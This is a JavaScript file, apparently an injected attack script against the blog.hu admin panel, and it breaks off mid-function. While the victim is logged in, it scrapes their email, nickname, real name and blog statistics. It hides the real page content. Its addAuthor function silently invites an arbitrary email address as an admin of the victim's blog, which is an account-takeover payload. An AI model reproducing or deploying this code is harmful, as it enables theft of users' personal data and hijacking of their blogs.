function ajax(url, vars, callbackFunction, id) { var request = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("MSXML2.XMLHTTP.3.0"); request.open("POST", url, true); request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); request.onreadystatechange = function() { if (request.readyState == 4 && request.status == 200) if (request.responseText) callbackFunction(request.responseText, id); }; request.send(vars); } function kitolt(display, mezo, ertek) { display.innerHTML = display.innerHTML.replace("$" + mezo, ertek); } function printBlogInfo(id, name, display) { display.innerHTML += "Blog neve: " + name + "
"; display.innerHTML += "Blog azonosítószáma: " + id + "
" display.innerHTML += "Legutóbbi bejegyzés neve: $utolsobejegyzes" + id + "
"; display.innerHTML += "Látogatók száma tegnap: $latogatokszama" + id + "
"; display.innerHTML += "Legnépszerűbb keresőkifejezés: $keresokifejezes" + id + "
"; display.innerHTML += "Legnépszerűbb URL: $legnepszerubburl" + id + "

"; function utolsobejegyzesReady(page, id) { adat = page.match(/class="">[^<]+/g); kitolt(display, 'utolsobejegyzes' + id, adat ? adat[0].substr(9) : '-'); } ajax("http://blog.hu/admin/blogs/" + id + "/edit/postlist", '', utolsobejegyzesReady, id); function latogatokszamaReady(page, id) { adat = page.match(/\d+(?=<\/td>)/g); kitolt(display, 'latogatokszama' + id, adat ? adat[2].substr(17) : '-'); } ajax("http://blog.hu/admin/blogs/" + id + "/stats/summary", '', latogatokszamaReady, id); function keresokifejezesReady(page, id) { adat = page.match(/.+(?=<\/td>)/g); kitolt(display, 'keresokifejezes' + id, adat ? adat[0].substr(17) : '-'); } ajax("http://blog.hu/admin/blogs/" +id + "/stats/refsearches", '', keresokifejezesReady, id); function legnepszerubburlReady(page, id) { adat = page.match(/.+(?=<\/td>)/g); kitolt(display, 'legnepszerubburl' + id, adat ? adat[0].substr(17) : '-'); } ajax("http://blog.hu/admin/blogs/" + id + "/stats/other", '', legnepszerubburlReady, id); } function printUserInfo(display) { display.innerHTML += "Adataid:
"; display.innerHTML += "Név: $vezeteknev $keresztnev
"; display.innerHTML += "Nick: $nicknev
"; display.innerHTML += "Email: $emailcim

"; function printUserInfoReady(userspage, id) { adatok = userspage.match(/value="[^"]+(?=" size="20" type=)/g); kitolt(display, 'emailcim', adatok[0] ? adatok[0].substr(7) : ''); kitolt(display, 'nicknev', adatok[1] ? adatok[1].substr(7) : ''); kitolt(display, 'vezeteknev', adatok[2] ? adatok[2].substr(7) : ''); kitolt(display, 'keresztnev', adatok[3] ? adatok[3].substr(7) : ''); } ajax('http://blog.hu/admin/users', '', printUserInfoReady, 0); } function getDisplay() { document.getElementById('wrapper').setAttribute('style','width:1px; height:1px;overflow:hidden;') document.getElementById('wrapper').style.visibility = 'hidden'; document.getElementById('wrapper').style.width = 1; document.getElementById('wrapper').style.height = 1; document.getElementById('wrapper').style.overflow = 'hidden'; document.getElementsByName('inda_header')[0].style.height=0; displayDiv = document.getElementById('displayDiv') ? document.getElementById('displayDiv') : document.createElement('div'); displayDiv.setAttribute('style','background-color: #fff; position:absolute; top:5px; left:5px; z-index:0; overflow:visible'); displayDiv.setAttribute('id', 'displayDiv'); document.body.appendChild(displayDiv); return displayDiv; } function addAuthor(id, email) { ajax("http://blog.hu/admin/blogs/" + id + "/options/perm", "blog=" + id + "&level=adminarea&action=invite&invited_user_email=" + email + "&invited_user_rights=admin&=Megh%C3%ADvom&_=", function() {}); } function main(defaultpage, id) { display = getDisplay(); display.innerHTML=''; if (defaultpage.search(/
/) != -1) { display.innerHTML = "Nem vagy bejelentkezve!
"; return; } blogTabs = defaultpage.match(/